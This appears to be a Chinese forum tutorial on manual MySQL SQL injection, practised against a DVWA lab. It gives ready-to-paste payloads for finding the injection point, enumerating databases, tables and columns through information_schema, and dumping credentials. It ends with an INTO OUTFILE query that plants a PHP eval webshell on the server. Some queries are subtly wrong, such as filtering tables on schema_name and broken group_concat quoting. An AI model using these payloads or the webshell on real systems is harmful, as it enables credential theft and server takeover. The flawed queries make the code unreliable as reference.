今天给大家带来一篇关于mysql数据库的注入总结教程
- 基础知识
- 什么是SQL注入
- 什么是Mysql
- MySQL手工注入
- 手工注入流程
- 判断注入点
- 判断查询的字段数
- 确定回显位
- 获取信息函数
- 获取数据库名
- 获取表名
- 获取列名
- 获取数据
- 写shell
- 手工注入流程
各位大佬。。。这篇文章是个人再练习注入的时候自己总结出来的一部分经验,步骤确实很简单,百度上面确实也能搜的到相关类似的,但关于文章中一些我个人的理解与总结部分肯定是搜不到的。菜鸟初来乍到,如果个人经验比较少或者说总结的不够深入,入不了各位大佬法眼,请各位大佬见谅。菜鸟还是需要不断学习进步,争取后续分享的文章能有更高的一个质量,能入的了各位大佬的眼。。。给各位大佬递茶。。。。
由于新人刚报道不久,大概浏览了一下论坛内的帖子,发现很多都是大佬们分型的工具,以及各种牛逼的渗透过程及思路记录。关于新人的一些简单入门点的资料好像不多(可能新人刚到,不太熟悉如何寻找资料,如果有误还请各位大佬不吝指教,请多多见谅,)。
这篇文章属于个人在学习sql注入时的一部分总结,后续的关于个人sql注入的总结文章也会陆续发出来。如果跟大佬的有重复或者有什么其他问题,请各位大佬及时指出{:6_430:} 。自评TCV=0…..
下面就是正文部分了。
基础知识
什么是SQL注入
A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.
引用OWASP上的定义,sql注入简单来说就是攻击者从客户端输入的恶意sql查询语句被服务器执行,从而攻击者可以读取/修改数据库中敏感信息、执行数据库管理员操作、甚至执行系统命令。
什么是Mysql
MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件。
Mysql简单来说就是一个关系型的数据库管理系统,使用SQL语言来来存储数据,以及管理数据。
MySQL手工注入
SQL注入从注入的手法或者工具上分类的话可以分为:
- 手工注入(手工来构造调试输入payload)
- 工具注入(使用工具,如sqlmap)
下面主要讲解的是如何通过手工来显式注入MySQL数据库。说到显式注入,SQL又可以分为:
- 显式注入
- 盲注入
这两种分类的主要区别在于能否从页面上直接获取数据库信息。
手工注入流程
判断注入点
注入的第一步是得判断该处是否是一个注入点。或者说判断此处是否有SQL注入漏洞。最简单的判断方法就是在正常的参数后加单引号 ‘。
http://192.168.0.111/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1'
如果页面显示了SQL的错误信息,进一步测试:
1' or 1=1 --+
页面显示正常。再测试:
1' and 1=2 --+
至此基本可以确定此处是一个SQL注入点,也就是说存在SQL注入漏洞。
判断查询的字段数
确定了注入点之后,就需要进行下一步的注入操作了。首先使用orderby子句来确定SQL语句查询的字段数量。orderby子句会根据sql查询结果的字段来排序,如果字段不存在则会报错。下面尝试输入order by 10 。
1' ORDER BY 10 --+
发现页面报错,那么接下来尝试order by 9, 如果同样报错,则尝试order by 8,依次尝试下去,直到页面显示正常为止。
可以看到order by 2的时候页面显示正常,则说明查询语句只有2个字段。
确定回显位
确定了查询数据的位数,然后开始确定网页的回显位。回显位就是确定查询出来的数据是在网页上面的哪个位置显示出来。使用Union联合查询来确定回显位。
1' and 1=2 union select 1, 2 --+
可以看到查询语句中的两个字段都在网页中显示了,分别在First name和 Surname位置上。
获取信息函数
下面就开始获取数据库信息了,常用的几个获取数据的函数分别是:
user() 获取当前用户用户
database() 获取当前数据库
version() 获取数据库版本 @@version_compile_os 获取操作系统版本
注入下列SQL语句可以查询出数据库当前用户,和当前数据库名。
1' and 1=2 union select user(), database() --+
注入下列SQL语句,可以查询出数据库版本和当前操作系统版本。
1' and 1=2 union select version(), @@version_compile_os --+
可以看到注入上面两条语句之后,当前用户、数据库名、数据库版本、操作系统等信息都已经得到了。
获取数据库名
MySQL5新增了一个information_schema结构,这个information_schema数据库中存储着MySQL管理的所有数据库的信息,如数据库名,表名,列名以及权限等等信息。所以可以利用information_schema来快速获取数据库中的表结构信息。常用的information_schema中的表有:
schemata (schema_name字段记录所有数据库信息)
tables (table_name记录表名,table_schema字段记录表所属的数据库信息)
columns (column_name记录列名,table_name记录列所属的表名,schema_name记录列所属的数据库名)
所以可以使用schemata表来获取所有数据库名:
1' and 1=2 union select 1, SCHEMA_NAME from information_schema.schemata --+
这条SQL语句是能够将所有数据库名查询出来,如果页面显示足够多的话是可以直接全部获取的。但是有些情况下,页面可能只会有一条回显记录,那么可以使用limit子句来分批获取所有数据库名。或者直接使用group_concat来一次性获取数据库信息。
1' and 1=2 union select 1, group_concat(SCHEMA_NAME) from information_schema.schemata --+
使用group_concat就能很方便的在一条记录中查询出来所有数据库信息。
获取表名
获取到了数据库信息之后,找到目标数据库,然后开始获取表名信息。可以读取tables表中的table_name来获取。
1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name='dvwa'+--+
表名需要使用’单引号包起来,或者使用16进制来表示:
1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name=0x64767761+--+
获取列名
获取到了表名之后,下面来获取列名。同样通过information_schema的columns表获取。
1' and 1=2 union select 1, COLUMN_NAME from information_schema.columns where table_name='users'+--+
表名同样可以使用十六进制表示。
获取数据
下面就开始获取表中的数据了,选择刚才获取的表中的user_id,user,password三列的数据。
1' and 1=2 union select 1, group_concat(user_id,',user,',password) from users+--+
group_concat中间的’是用来分割数据显示的。
以上,就成功从数据库中获取了管理员账户信息。
写shell
上面获取管理员账号信息之后,就可以登录网页后台,从后台寻找上传点或者其他漏洞来往服务器上写入webshell。在知道服务器的物理地址的情况下,通过SQL语句来写入webshell通常是一种更快捷方便的方式。
1' and 1=2 union select '<?php eval($_POST[shell]); ?>' INTO OUTFILE '/var/www/html/shell.php'+--+
执行成功之后,就能使用菜刀或者其他工具连接网页更目录下的shell.php文件了。